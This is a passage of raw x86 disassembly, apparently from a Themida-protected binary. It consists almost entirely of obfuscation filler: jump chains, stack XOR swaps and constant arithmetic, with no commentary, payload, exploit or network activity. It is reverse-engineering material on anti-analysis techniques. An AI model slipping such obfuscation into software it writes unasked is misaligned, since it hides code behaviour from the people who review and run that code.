--------------------------------------------------------------------------- loc_56F0CE: ; CODE XREF: sub_562ABA+57AFj mov eax, 4 add edi, eax pop eax push edx mov edx, 0BD90646h jmp loc_570B15 ; --------------------------------------------------------------------------- loc_56F0E1: ; CODE XREF: sub_562ABA+505Bj mov ecx, 4 mov esi, ecx pop ecx jmp loc_5628FF ; --------------------------------------------------------------------------- loc_56F0EE: ; CODE XREF: sub_562ABA+863Fj add ebp, 4 push 217Bh mov [esp+36h+var_36], ecx sub esp, 4 mov [esp+3Ah+var_3A], eax push 626E181Eh jmp loc_5633F3 ; --------------------------------------------------------------------------- loc_56F10F: ; CODE XREF: sub_562ABA+4273j push eax push 0FFFBBBE2h pop eax xor ebp, eax jmp loc_568421 ; --------------------------------------------------------------------------- loc_56F11D: ; CODE XREF: sub_55FCA5+21A9j add bx, si jmp loc_564F3B ; --------------------------------------------------------------------------- loc_56F125: ; CODE XREF: sub_562ABA+7A29j mov ax, word ptr [esp-8+arg_4] jmp loc_55F489 ; --------------------------------------------------------------------------- loc_56F12E: ; CODE XREF: sub_562ABA+5100j push [esp+32h+var_32] mov eax, [esp+36h+var_36] add esp, 4 push 301Ah mov [esp+36h+var_36], edi jmp loc_56D516 ; --------------------------------------------------------------------------- loc_56F144: ; CODE XREF: sub_562ABA+174Bj mov edi, ebp pop ebp add edx, edi pop edi xchg edx, [esp+6+var_8+2] pop esp jmp loc_562AB5 ; --------------------------------------------------------------------------- loc_56F153: ; CODE XREF: sub_562ABA+9B1Cj pop [esp+1Ah+var_1A] mov esp, [esp+16h+var_16] jmp loc_57089A ; --------------------------------------------------------------------------- loc_56F15E: ; CODE XREF: sub_562ABA+986j add esp, 4 jmp loc_56DFC1 ; --------------------------------------------------------------------------- loc_56F166: ; CODE XREF: sub_562ABA+C7ABj mov esi, [esp+0] jmp loc_56D849 ; --------------------------------------------------------------------------- loc_56F16E: ; CODE XREF: sub_562ABA+BA6Fj shl edi, 5 push edx jmp loc_5600B5 ; --------------------------------------------------------------------------- xor byte ptr [esp+16h+var_16], bh xor bh, byte ptr [esp+16h+var_16] xor byte ptr [esp+16h+var_16], bh push eax mov ah, ch sub esp, 4 mov [esp+1Eh+var_1E], eax mov ah, bh mov ch, ah jmp loc_567AC9 ; --------------------------------------------------------------------------- loc_56F195: ; CODE XREF: sub_562ABA+9564j push 3F8Bh mov [esp+1Ah+var_1A], eax mov ax, 4AE3h mov si, ax jmp loc_56F8E6 ; --------------------------------------------------------------------------- loc_56F1A9: ; CODE XREF: sub_562ABA-3616j sub esp, 4 mov [esp+30h+var_32+2], ebp push esp mov ebp, [esp+34h+var_36+2] add esp, 4 add ebp, 4 add ebp, 2 xchg ebp, [esp+30h+var_32+2] pop esp push bx mov bh, 0B5h xor ah, bh pop bx jmp loc_562BB4 ; --------------------------------------------------------------------------- loc_56F1D0: ; CODE XREF: sub_562ABA+8123j pop ecx jmp loc_5729C9 ; --------------------------------------------------------------------------- loc_56F1D6: ; CODE XREF: sub_562ABA+F6F1j add esp, 4 sub esi, 7A0F2456h jmp loc_5691B9 ; --------------------------------------------------------------------------- loc_56F1E7: ; CODE XREF: sub_562ABA+74CBj mov eax, ebp pop ebp jmp loc_55E6B7 ; --------------------------------------------------------------------------- loc_56F1EF: ; CODE XREF: sub_562ABA+53B1j sub edx, eax add edx, 7F0C5541h pop eax and eax, edx jmp loc_570FE3 ; --------------------------------------------------------------------------- loc_56F1FF: ; CODE XREF: sub_562ABA+3C17j push 4D6Fh mov [esp-6+arg_0+2], ecx mov ecx, 2EB84698h shr ecx, 3 push 24A3h mov [esp+0], eax push ecx mov ecx, 22F97EB2h mov eax, ecx mov ecx, [esp+2+var_4+2] add esp, 4 xor eax, 1FE3D08h or ecx, eax pop eax jmp loc_560049 ; --------------------------------------------------------------------------- loc_56F232: ; CODE XREF: sub_562ABA-4441j push ebp pop ecx pop ebp neg ecx shr ecx, 2 inc ecx add ecx, 0C94BC661h sub edi, 3E425A1Eh add edi, ecx jmp loc_55ED0C ; --------------------------------------------------------------------------- loc_56F24E: ; CODE XREF: sub_562ABA+BC4Cj lea eax, [edi+eax*4] push 0AF5h mov [esp+0Ah+var_C+2], eax jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56F25E: ; CODE XREF: sub_562ABA-37B5j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56F263: ; CODE XREF: sub_562ABA+5CF5j add eax, esi jmp loc_56F166 ; --------------------------------------------------------------------------- loc_56F26A: ; CODE XREF: sub_562ABA+818j add al, 0D1h sub al, 0F7h mov dx, word ptr [esp+2Ah+var_2C+2] jmp loc_569524 ; --------------------------------------------------------------------------- loc_56F277: ; CODE XREF: sub_562ABA+5A54j add edi, 4 add edi, 4 jmp loc_570866 ; --------------------------------------------------------------------------- loc_56F288: ; CODE XREF: sub_562ABA-B85j pop ebx jmp loc_5642BC ; --------------------------------------------------------------------------- loc_56F28E: ; CODE XREF: sub_562ABA+E04Fj add esp, 2 xchg si, [esp+0] jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56F29A: ; CODE XREF: sub_562ABA-2E5Dj mov [esp+12h+var_12], ecx sub esp, 4 mov [esp+16h+var_16], ebx push ecx mov ch, 0D2h mov bl, 0F6h sub bl, ch jmp loc_56261B ; --------------------------------------------------------------------------- loc_56F2AF: ; CODE XREF: sub_562ABA+5CDEj sub esi, 14D0B626h add ebp, 7F80165Ch add ebp, esi sub ebp, 7F80165Ch jmp loc_56EEEE ; --------------------------------------------------------------------------- loc_56F2C8: ; CODE XREF: sub_562ABA+6E18j add dword ptr [esp+0], 528A17E2h jmp loc_5664EE ; --------------------------------------------------------------------------- loc_56F2D4: ; CODE XREF: sub_562ABA-34B8j mov ecx, 0BEB28E02h sub eax, ecx pop ecx mov esi, eax pop eax add edi, esi pop esi xchg edi, [esp-24h+arg_20] mov esp, [esp-24h+arg_20] jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56F2ED: ; CODE XREF: sub_562ABA+6C80j mov edx, [esp+0Ah+var_C+2] jmp loc_564AA4 ; --------------------------------------------------------------------------- loc_56F2F5: ; CODE XREF: sub_562ABA+3A48j neg edi xor edi, 0F244E754h jmp loc_56D67A ; --------------------------------------------------------------------------- loc_56F302: ; CODE XREF: sub_562ABA+2508j add eax, 38D83991h push [esp+16h+var_16] pop ebx add esp, 4 push ecx push ebp mov ebp, 19DC0B73h mov ecx, 5F8059ECh xor ecx, ebp pop ebp jmp loc_56CF43 ; --------------------------------------------------------------------------- loc_56F325: ; CODE XREF: sub_562ABA+4AEBj mov ebp, [esp+2+var_4+2] add esp, 4 add eax, edi pop edi push 4CF1h jmp loc_55E182 ; --------------------------------------------------------------------------- loc_56F338: ; CODE XREF: sub_562ABA+3C29j mov dl, ah jmp loc_55FAE4 ; --------------------------------------------------------------------------- loc_56F33F: ; CODE XREF: sub_562ABA-183Dj add esp, 4 jmp loc_55FE0E ; --------------------------------------------------------------------------- loc_56F34A: ; CODE XREF: sub_562ABA+2FDCj add al, cl add al, 0B1h pop cx sub al, 5 jmp loc_562AD5 ; --------------------------------------------------------------------------- loc_56F357: ; CODE XREF: sub_562ABA+463Fj mov eax, [esp+0] add esp, 4 and eax, 3C6E2824h shr eax, 3 jmp loc_56B643 ; --------------------------------------------------------------------------- loc_56F36A: ; CODE XREF: sub_562ABA-2230j xchg ebx, [esp+46h+var_46] pop esp mov [esp+42h+var_42], eax mov eax, 4 sub ebx, 5FD17EFEh add ebx, eax jmp loc_568CB7 ; --------------------------------------------------------------------------- loc_56F383: ; CODE XREF: sub_562ABA+EEC3j push edi mov edi, 34F952E1h push ebp mov ebp, 6DB91F7Dh sub edi, ebp pop ebp or edi, 600E0F0Fh sub edi, 0E74E3F6Bh add ebp, edi pop edi jmp loc_566345 ; --------------------------------------------------------------------------- loc_56F3A6: ; CODE XREF: sub_55FCA5+1E8j pop ebp jmp loc_56CB35 ; --------------------------------------------------------------------------- loc_56F3AC: ; CODE XREF: sub_562ABA+5EFBj shr eax, 3 xor eax, 29E94C00h xor eax, 57AFE7F7h sub esi, eax jmp loc_5663E8 ; --------------------------------------------------------------------------- loc_56F3C0: ; CODE XREF: sub_562ABA+A935j add edi, 4 add edi, 4 xchg edi, [esp+1Eh+var_1E] pop esp push edi mov edi, 5B0D1595h jmp loc_56E086 ; --------------------------------------------------------------------------- loc_56F3DB: ; CODE XREF: sub_562ABA+7FB7j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+1Ah+var_1A] pop esp jmp loc_56A251 ; --------------------------------------------------------------------------- loc_56F3F0: ; CODE XREF: sub_562ABA+14CFj mov esi, 4 add edi, esi mov esi, [esp+2Ah+var_2C+2] add esp, 4 xchg edi, [esp+26h+var_28+2] pop esp xor bl, al jmp loc_57135C ; --------------------------------------------------------------------------- loc_56F408: ; CODE XREF: sub_562ABA+F33Cj or ebx, 3FAC3D3Ah jmp loc_55E3D3 ; --------------------------------------------------------------------------- loc_56F413: ; CODE XREF: sub_562ABA+1BE5j xor edi, [esp+26h+var_28+2] xor [esp+26h+var_28+2], edi xor edi, [esp+26h+var_28+2] jmp loc_56A96D ; --------------------------------------------------------------------------- loc_56F421: ; CODE XREF: sub_562ABA+6541j not edx jmp loc_5605CA ; --------------------------------------------------------------------------- loc_56F428: ; CODE XREF: sub_562ABA-1CA8j add dl, bl mov ebx, [esp+42h+var_42] add esp, 4 not dl add dl, 0FFh push ax push ecx mov ch, 4Eh xor ch, 94h sub ch, 60h mov ah, ch pop ecx jmp loc_56E22E ; --------------------------------------------------------------------------- loc_56F448: ; CODE XREF: sub_562ABA-EEBj add eax, 1D77685Fh add ecx, 604A263Dh add ecx, eax push esi mov esi, esp jmp loc_563863 ; --------------------------------------------------------------------------- loc_56F45D: ; CODE XREF: sub_562ABA+B4EAj push edi mov edi, 78966368h push edx push 62C7h mov [esp+1Eh+var_1E], ecx mov ecx, 6C5B1536h not ecx jmp loc_566F27 ; --------------------------------------------------------------------------- loc_56F478: ; CODE XREF: sub_562ABA+E2F6j xchg edx, [esp+1Eh+var_1E] jmp loc_55EA1B ; --------------------------------------------------------------------------- loc_56F480: ; CODE XREF: sub_562ABA+238Cj add [esp+26h+var_22], 3C0627D4h push eax jmp loc_564AE3 ; --------------------------------------------------------------------------- loc_56F48E: ; CODE XREF: sub_562ABA+2D36j push esi pop edi pop esi xchg edi, [esp+1Ah+var_1A] jmp loc_56AD61 ; --------------------------------------------------------------------------- loc_56F499: ; CODE XREF: sub_562ABA+E66j push [esp+34h+var_36+2] pop edx add esp, 4 shl esi, 1 dec esi add esi, 1 xor esi, 6AFD3CDh xor eax, esi push [esp+30h+var_32+2] pop esi add esp, 4 push edx jmp loc_5659CF ; --------------------------------------------------------------------------- loc_56F4BE: ; CODE XREF: sub_562ABA-1991j xor edi, [esp+26h+var_28+2] xor [esp+26h+var_28+2], edi xor edi, [esp+26h+var_28+2] mov esp, [esp+26h+var_28+2] add edi, 4 add edi, 2 xor edi, [esp+26h+var_28+2] xor [esp+26h+var_28+2], edi xor edi, [esp+26h+var_28+2] jmp loc_569663 ; --------------------------------------------------------------------------- loc_56F4E4: ; CODE XREF: sub_562ABA+8116j add esp, 4 add ebx, 4 sub esp, 4 jmp loc_56ED05 ; --------------------------------------------------------------------------- loc_56F4FB: ; CODE XREF: sub_562ABA+6929j push edi push ecx push 4E471E98h pop ecx sub ecx, 0DC7ECA75h mov edi, ecx jmp loc_56EECA ; --------------------------------------------------------------------------- loc_56F510: ; CODE XREF: sub_562ABA+51F2j or ebp, 7305DACh push eax mov eax, 0B804A048h add ebp, eax jmp loc_55E822 ; --------------------------------------------------------------------------- lodsb sub al, 13h jmp loc_570741 ; --------------------------------------------------------------------------- loc_56F52B: ; CODE XREF: sub_562ABA+BC1Fj pop edi pop [esp+3Ah+var_3A] pop esp jmp loc_5717DE ; --------------------------------------------------------------------------- loc_56F535: ; CODE XREF: sub_562ABA+637Bj push ebx jmp loc_55E299 ; --------------------------------------------------------------------------- loc_56F53B: ; CODE XREF: sub_562ABA+72D9j sub ebx, eax jmp loc_571345 ; --------------------------------------------------------------------------- loc_56F542: ; CODE XREF: sub_562ABA-1DCDj add ebp, ecx pop ecx pop ebx xchg ebp, [esp-0Eh+arg_8+2] jmp loc_567F82 ; --------------------------------------------------------------------------- loc_56F54E: ; CODE XREF: sub_562ABA-E52j add edi, edx mov edx, [esp+36h+var_36] jmp loc_57016A ; --------------------------------------------------------------------------- loc_56F558: ; CODE XREF: sub_572A4F+6j mov [esp+36h+var_36], edi push 4173h mov [esp+3Ah+var_3A], esp add [esp+3Ah+var_3A], 4 mov edi, [esp+3Ah+var_3A] add esp, 4 jmp loc_563C90 ; --------------------------------------------------------------------------- loc_56F575: ; CODE XREF: sub_562ABA+DE99j push edi jmp loc_55E44C ; --------------------------------------------------------------------------- loc_56F57B: ; CODE XREF: sub_562ABA+899Fj add esi, 0FFCFF778h sub eax, esi pop esi sub eax, 0CB94A2B5h add ebp, eax mov eax, [esp+56h+var_56] add esp, 4 add ebp, 2 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+56h+var_56] pop esp mov [esp+52h+var_52], ebp push [esp+52h+var_4E] jmp loc_55E2F3 ; --------------------------------------------------------------------------- loc_56F5B3: ; CODE XREF: sub_562ABA+140Aj sub ax, si pop esi sub ax, 1BEEh jmp loc_56C746 ; --------------------------------------------------------------------------- loc_56F5C0: ; CODE XREF: sub_562ABA+10143j xor ecx, [esp+12h+var_12] xor [esp+12h+var_12], ecx xor ecx, [esp+12h+var_12] jmp loc_56B89F ; --------------------------------------------------------------------------- loc_56F5CE: ; CODE XREF: sub_562ABA+F50Fj xchg edi, [esp+12h+var_12] pop esp add esi, 4 push ecx jmp loc_56FDAF ; --------------------------------------------------------------------------- loc_56F5DE: ; CODE XREF: sub_562ABA+E837j mov esp, [esp+12h+var_12] bt [esp+12h+var_12], eax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56F5EB: ; CODE XREF: sub_562ABA+981Bj xor ebx, ebp pop ebp push ecx mov ecx, 328D1442h jmp loc_56C526 ; --------------------------------------------------------------------------- loc_56F5F9: ; CODE XREF: sub_562ABA+B168j pop esi pop [esp+1Ah+var_1A] pop esp mov [esp+12h+var_12], ebx push esp pop ebx push 641Dh mov [esp+16h+var_16], esi mov esi, 55372701h and esi, 20AE5FB7h sub esi, 2606FDh push ebp mov ebp, 7B46412Ah not ebp and ebp, 36217705h jmp loc_56DC98 ; --------------------------------------------------------------------------- loc_56F62F: ; CODE XREF: sub_562ABA+44Dj mov ebx, [esp+18h+var_1A+2] jmp loc_566528 ; --------------------------------------------------------------------------- loc_56F637: ; CODE XREF: sub_562ABA+70E0j push 2E84h jmp loc_569276 ; --------------------------------------------------------------------------- loc_56F641: ; CODE XREF: sub_562ABA+FE5Aj mov edx, esp add edx, 4 jmp loc_562F77 ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_5669E1 ; --------------------------------------------------------------------------- loc_56F656: ; CODE XREF: sub_5627AB+3j mov edi, [esp+16h+var_16] add esp, 4 shr ebp, 6 push ecx mov ecx, 7499D399h jmp loc_57204A ; --------------------------------------------------------------------------- loc_56F66A: ; CODE XREF: sub_562ABA+E2E8j sub esp, 4 jmp loc_56264B ; --------------------------------------------------------------------------- loc_56F672: ; CODE XREF: sub_562ABA+8BCAj mov [esp+3Eh+var_3E], ecx mov ecx, 2F236CD8h push 577Dh mov [esp+42h+var_42], ebp mov ebp, 37A3E1Bh xor ecx, ebp pop ebp and ecx, 154726DDh jmp loc_56D21F ; --------------------------------------------------------------------------- loc_56F695: ; CODE XREF: sub_562ABA+6DE1j not esi shl esi, 1 and esi, 345259Eh jmp loc_56D338 ; --------------------------------------------------------------------------- loc_56F6A4: ; CODE XREF: sub_562ABA+A85j pop ebx sub eax, ebp mov ebp, [esp+36h+var_36] add esp, 4 add eax, 691C3C5Ch jmp loc_566B71 ; --------------------------------------------------------------------------- loc_56F6B7: ; CODE XREF: sub_562ABA-21C4j push ebp mov ebp, 4 jmp loc_561D7C ; --------------------------------------------------------------------------- loc_56F6C2: ; CODE XREF: sub_562ABA-2F9j mov dl, cl mov ecx, [esp+22h+var_22] add esp, 4 pop ebx sub al, dl pop dx xor bl, al jmp loc_56AAF9 ; --------------------------------------------------------------------------- loc_56F6D6: ; CODE XREF: sub_562ABA+7517j mov eax, 137260E8h push eax xchg esi, [esp+0] not esi push esi jmp loc_5670F1 ; --------------------------------------------------------------------------- loc_56F6E7: ; CODE XREF: sub_562ABA+29D4j xchg ebx, [esp+6+var_8+2] jmp loc_566088 ; --------------------------------------------------------------------------- lodsd sub eax, 57B66A4Fh sub eax, 3D246212h sub eax, ebx add eax, 3D246212h sub esp, 4 mov [esp+0Ah+var_C+2], edx mov edx, 0D56A16h push ecx mov ecx, 7B45079Eh xor ecx, 57EF0005h not ecx push esi mov esi, 6C661C4Fh shr esi, 7 jmp $+5 add esi, 2D78D0Dh sub ecx, esi jmp loc_562544 ; --------------------------------------------------------------------------- loc_56F738: ; CODE XREF: sub_562ABA+F4E3j pop ebp sub edx, 4 jmp loc_56E656 ; --------------------------------------------------------------------------- loc_56F741: ; CODE XREF: sub_562ABA+6329j mov [esp+1Ah+var_1A], esi jmp loc_55FF37 ; --------------------------------------------------------------------------- loc_56F749: ; CODE XREF: sub_562ABA+1C9Bj sub ebp, 542B389Ah push [esp-8+arg_4] pop esi add esp, 4 push ebx mov ebx, 2 jmp loc_56ED14 ; --------------------------------------------------------------------------- loc_56F764: ; CODE XREF: sub_562ABA+4BCDj mov ebx, 0E9F64706h sub esi, ebx pop ebx add ebp, esi jmp loc_564FFC ; --------------------------------------------------------------------------- loc_56F773: ; CODE XREF: sub_562ABA-31BDj pop edi jmp loc_55F6CA ; --------------------------------------------------------------------------- loc_56F779: ; CODE XREF: sub_562ABA+2434j add edx, ebx push ebp mov ebp, 5C7B4E64h xor ebp, 368C783Dh neg ebp shr ebp, 1 inc ebp add ebp, 24C0129Bh jmp loc_5717C1 ; --------------------------------------------------------------------------- loc_56F797: ; CODE XREF: sub_562ABA+C9Ej push edx mov edx, 13ED369Ah sub edx, 3BC25F62h xor edx, 199660CBh sub edx, 0B0D0906Fh jmp loc_5660C2 ; --------------------------------------------------------------------------- loc_56F7B4: ; CODE XREF: sub_562ABA-3BE7j push edi push esp pop edi add edi, 4 jmp loc_56ACCA ; --------------------------------------------------------------------------- loc_56F7C2: ; CODE XREF: sub_562ABA+C20Bj mov ax, word ptr [esp+1Ah+var_1A] jmp loc_57261C ; --------------------------------------------------------------------------- loc_56F7CB: ; CODE XREF: sub_55FCA5+10Dj pop eax sub eax, 42351DA6h mov edx, eax pop eax push edx jmp loc_5710F6 ; --------------------------------------------------------------------------- loc_56F7DA: ; CODE XREF: sub_562ABA+7406j mov edi, 4E2317E3h jmp loc_570E6E ; --------------------------------------------------------------------------- loc_56F7E4: ; CODE XREF: sub_562ABA+961j mov [esp-1Ch+arg_18], edx jmp loc_56008C ; --------------------------------------------------------------------------- loc_56F7EC: ; CODE XREF: sub_562ABA+52DFj inc ebx push ebx inc [esp+2Ah+var_2C+2] jmp loc_56CD85 ; --------------------------------------------------------------------------- loc_56F7F6: ; CODE XREF: sub_562ABA+85CBj mov ecx, esp jmp loc_56383E ; --------------------------------------------------------------------------- loc_56F7FD: ; DATA XREF: Themida_:0055DFFCo push [esp+1Ah+var_1A] mov eax, [esp+1Eh+var_1E] add esp, 4 push edx mov edx, esp jmp loc_56A436 ; --------------------------------------------------------------------------- loc_56F811: ; CODE XREF: sub_562ABA+59EBj xor [esp+3Eh+var_3E], edi xor edi, [esp+3Eh+var_3E] jmp loc_56119C ; --------------------------------------------------------------------------- loc_56F81C: ; CODE XREF: sub_55FC41-DC9j sub [esp+3Eh+var_3A], 13CC7CA5h add [esp+3Eh+var_3A], esi add [esp+3Eh+var_3A], 13CC7CA5h pop esi jmp loc_56B1A2 ; --------------------------------------------------------------------------- loc_56F836: ; CODE XREF: sub_562ABA+BABDj or edi, eax pop eax and edi, 133A44CDh shr edi, 6 add edi, 1B505E63h sub edx, edi pop edi add edi, edx jmp loc_561525 ; --------------------------------------------------------------------------- loc_56F852: ; CODE XREF: sub_562ABA+77FEj push eax push esp push [esp+26h+var_28+2] jmp loc_56FF87 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] push dword ptr [esp] pop eax push 7D5Eh mov [esp+32h+var_32], ebp jmp loc_565B51 ; --------------------------------------------------------------------------- loc_56F870: ; CODE XREF: sub_562ABA+40D1j xchg ecx, [esp+42h+var_42] pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 push ecx jmp loc_565EC0 ; --------------------------------------------------------------------------- loc_56F886: ; CODE XREF: Themida_:00561FEAj sub ax, 4D7Dh sub ax, si add ax, 4D7Dh jmp loc_56C01D ; --------------------------------------------------------------------------- loc_56F896: ; CODE XREF: sub_562ABA+9C9j add eax, 241B3BA0h push edi mov edi, 1E137C14h shl edi, 4 not edi and edi, 761E2382h push ecx mov ecx, 0B778E60Fh sub edi, ecx pop ecx sub eax, edi pop edi jmp loc_56AB5D ; --------------------------------------------------------------------------- loc_56F8BD: ; CODE XREF: sub_562ABA+38E9j xchg edx, [esp+0] jmp loc_56B4A4 ; --------------------------------------------------------------------------- loc_56F8C5: ; CODE XREF: sub_562ABA+8A72j pop edx sub eax, 4 jmp loc_56B051 ; --------------------------------------------------------------------------- loc_56F8CE: ; CODE XREF: sub_562ABA-243Dj mov ecx, 5A2613ABh push eax mov eax, 671C34F3h add ecx, eax jmp loc_562A7B ; --------------------------------------------------------------------------- loc_56F8E0: ; CODE XREF: sub_562ABA+40DBj pop edx jmp loc_56C487 ; --------------------------------------------------------------------------- loc_56F8E6: ; CODE XREF: sub_562ABA+C6EAj push [esp+1Ah+var_1A] jmp loc_562735 ; --------------------------------------------------------------------------- loc_56F8EE: ; CODE XREF: sub_562ABA-5F5j mov edx, esp push 41BDh mov [esp+36h+var_36], ebp mov ebp, 361059D0h shl ebp, 6 push ecx push eax jmp loc_56682D ; --------------------------------------------------------------------------- loc_56F907: ; CODE XREF: sub_562ABA+2C1Fj pop ebp add esp, 4 add edi, ecx push edx jmp loc_57159D ; --------------------------------------------------------------------------- loc_56F913: ; CODE XREF: sub_562ABA-3D88j mov cl, 0B3h mov ah, 7Ah sub ah, cl jmp loc_566B45 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+1Eh+var_1E] push 68AEh mov [esp+22h+var_22], ebx push 501h jmp loc_56630C ; --------------------------------------------------------------------------- loc_56F934: ; CODE XREF: sub_562ABA+E72Bj inc dl push eax mov al, 0D0h shr al, 7 or al, 0E5h sub al, 4Ch jmp loc_5687DE ; --------------------------------------------------------------------------- loc_56F945: ; CODE XREF: sub_562ABA+B88Cj pop [esp+16h+var_16] mov esp, [esp+12h+var_12] push esp pop [esp+16h+var_16] jmp loc_56C0EB ; --------------------------------------------------------------------------- loc_56F954: ; CODE XREF: sub_562ABA+3F48j xor ecx, [esp+0] xor [esp+0], ecx xor ecx, [esp+0] pop esp jmp loc_5603D3 ; --------------------------------------------------------------------------- loc_56F963: ; CODE XREF: sub_562ABA+3C2Fj pop [esp-0Ch+arg_8] mov esp, [esp-10h+arg_C] mov [esp-10h+arg_C], esi jmp loc_56644D ; --------------------------------------------------------------------------- loc_56F971: ; CODE XREF: sub_562ABA+BC86j add esp, 4 push edx push [esp-2+arg_0+2] pop edx pop dword ptr [esp+0] pop esp push small 64B0h mov word ptr [esp-8+arg_4], cx push eax mov ah, 46h jmp loc_565908 ; --------------------------------------------------------------------------- loc_56F98E: ; CODE XREF: sub_562ABA+D90Bj mov ebx, 124A2355h and ebx, 5D310184h xor ebx, 459E2006h sub ebx, 0DDD68A5h jmp loc_569790 ; --------------------------------------------------------------------------- loc_56F9AA: ; CODE XREF: sub_562ABA+312Fj add ebx, esi jmp loc_56B633 ; --------------------------------------------------------------------------- loc_56F9B1: ; CODE XREF: sub_562ABA+54Fj dec eax neg eax jmp loc_56095F ; --------------------------------------------------------------------------- loc_56F9B9: ; CODE XREF: sub_562ABA+3A02j sub ebp, 4 xchg ebp, [esp+16h+var_16] pop esp push esp pop [esp+16h+var_16] push ebp jmp loc_55F91C ; --------------------------------------------------------------------------- loc_56F9CA: ; CODE XREF: sub_562ABA+D5E9j pop edx push edx mov edx, 304D1AE1h add esi, edx pop edx jmp loc_56A519 ; --------------------------------------------------------------------------- loc_56F9D9: ; CODE XREF: sub_562ABA+C4Bj not eax jmp loc_55FC8D ; --------------------------------------------------------------------------- loc_56F9E0: ; CODE XREF: sub_562ABA+5DA9j push 495h mov [esp+1Eh+var_1E], edx push esp pop edx add edx, 4 push 2F37h mov [esp+22h+var_22], eax push 2 mov eax, [esp+26h+var_28+2] add esp, 4 add edx, eax pop eax push esi jmp loc_5668D6 ; --------------------------------------------------------------------------- loc_56FA0C: ; CODE XREF: sub_562ABA+D60Bj add [esp+22h+var_1E], ebx mov ebx, [esp+22h+var_22] add esp, 4 pop ebp add ebp, 4 push eax jmp loc_56DDF4 ; --------------------------------------------------------------------------- loc_56FA26: ; CODE XREF: sub_562ABA-35D0j mov [esp+26h+var_28+2], edx mov dh, bl jmp loc_569C6B ; --------------------------------------------------------------------------- loc_56FA30: ; CODE XREF: sub_562ABA+4E22j shr ebx, 4 push edi jmp loc_568198 ; --------------------------------------------------------------------------- loc_56FA39: ; CODE XREF: sub_562ABA+8558j push 39514B20h pop ebx xor ebx, 72154232h sub ebx, 6309305Ch not ebx jmp loc_564C94 ; --------------------------------------------------------------------------- loc_56FA52: ; CODE XREF: sub_562ABA+43ADj mov eax, esp add eax, 4 sub eax, 4 push eax push [esp+5Eh+var_5A] pop eax pop [esp+5Eh+var_5E] pop esp mov [esp+56h+var_56], ebx sub esp, 4 jmp loc_57165A ; --------------------------------------------------------------------------- loc_56FA71: ; CODE XREF: sub_562ABA+9256j and eax, ebx mov ebx, [esp+0Ah+var_C+2] add esp, 4 or eax, eax jz loc_56CD3D push dword ptr [edi+28h] push [esp+0Ah+var_C+2] pop eax push 2D3Ah mov [esp+0], esi push esp mov esi, [esp+12h+var_12] add esp, 4 push edi mov edi, 8B73B8Ch neg edi shl edi, 8 jmp loc_57035C ; --------------------------------------------------------------------------- loc_56FAA7: ; CODE XREF: sub_562ABA+BA5Fj add esp, 4 xor ecx, [esp-14h+arg_10] xor [esp-14h+arg_10], ecx xor ecx, [esp-14h+arg_10] mov esp, [esp-14h+arg_10] sub esp, 4 mov [esp-10h+arg_C], ebx push edi mov edi, esp push edx mov edx, 4 add edi, edx pop edx jmp loc_56ABF6 ; --------------------------------------------------------------------------- loc_56FAD0: ; CODE XREF: sub_562ABA+8CBAj mov ebp, edx pop edx jmp loc_569D2A ; --------------------------------------------------------------------------- loc_56FAD8: ; CODE XREF: sub_562ABA-5Ej mov [esp+2Ah+var_2C+2], eax mov eax, 44C23AE8h xor esi, eax pop eax add esi, 0B3833E74h push esi jmp loc_568DE8 ; --------------------------------------------------------------------------- loc_56FAEF: ; CODE XREF: sub_562ABA+693Ej mov eax, 44033201h and ebx, eax pop eax push ebp mov ebp, 70248ABh neg ebp jmp loc_562664 ; --------------------------------------------------------------------------- loc_56FB04: ; CODE XREF: Themida_:00572B9Dj mov eax, [esp-10h+arg_C] jmp loc_5722E7 ; --------------------------------------------------------------------------- loc_56FB0C: ; CODE XREF: sub_562ABA+E13Cj add edx, 4 xchg edx, [esp-10h+arg_C] jmp loc_56D8F5 ; --------------------------------------------------------------------------- loc_56FB1A: ; CODE XREF: sub_562ABA+B5E9j and ecx, edi jmp loc_567121 ; --------------------------------------------------------------------------- loc_56FB21: ; CODE XREF: sub_562ABA+8372j add ebx, 2 xor ebx, [esp+12h+var_12] xor [esp+12h+var_12], ebx jmp loc_568953 ; --------------------------------------------------------------------------- loc_56FB2F: ; CODE XREF: sub_562ABA-4282j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0] pop esp push eax mov eax, 4 add ebp, 34E96787h jmp loc_57196C ; --------------------------------------------------------------------------- loc_56FB50: ; CODE XREF: sub_562ABA+7FE8j pop esp mov [esp+20h+var_22+2], esi mov esi, 5DAA0116h add eax, esi push [esp+20h+var_22+2] push dword ptr [esp+0] pop esi jmp loc_5625B2 ; --------------------------------------------------------------------------- loc_56FB67: ; CODE XREF: sub_562ABA-43BBj push [esp+22h+var_22] pop eax add esp, 4 add eax, 4 sub eax, 4 xchg eax, [esp+1Eh+var_1E] pop esp mov [esp+1Ah+var_1A], esi jmp loc_5675C6 ; --------------------------------------------------------------------------- loc_56FB84: ; CODE XREF: sub_562ABA+4575j add bl, al jmp loc_55F1D4 ; --------------------------------------------------------------------------- loc_56FB8B: ; CODE XREF: sub_562ABA+A565j sub esp, 4 mov [esp+34h+var_36+2], edi mov edi, 59C66D60h jmp loc_570BC2 ; --------------------------------------------------------------------------- loc_56FB9E: ; CODE XREF: sub_562ABA+88CFj or edx, ebx pop ebx shr edx, 6 jmp loc_5708F0 ; --------------------------------------------------------------------------- loc_56FBA9: ; CODE XREF: sub_562ABA+6499j push 5946h jmp loc_56972C ; --------------------------------------------------------------------------- loc_56FBB3: ; CODE XREF: sub_562ABA+968Aj add esp, 4 xchg ecx, [esp+0] pop esp mov edi, [esp+2Ah+var_2C+2] add esp, 4 push ebx push edi push 7BCA4DE1h pop edi xor edi, 58C934DDh jmp loc_5660E0 ; --------------------------------------------------------------------------- loc_56FBD6: ; CODE XREF: sub_562ABA+AD35j sub edx, 0F20748F0h push 447Dh jmp loc_56C437 ; --------------------------------------------------------------------------- loc_56FBE6: ; CODE XREF: sub_562ABA+6B5j mov [esp-8+arg_4], ebx jmp loc_570FC6 ; 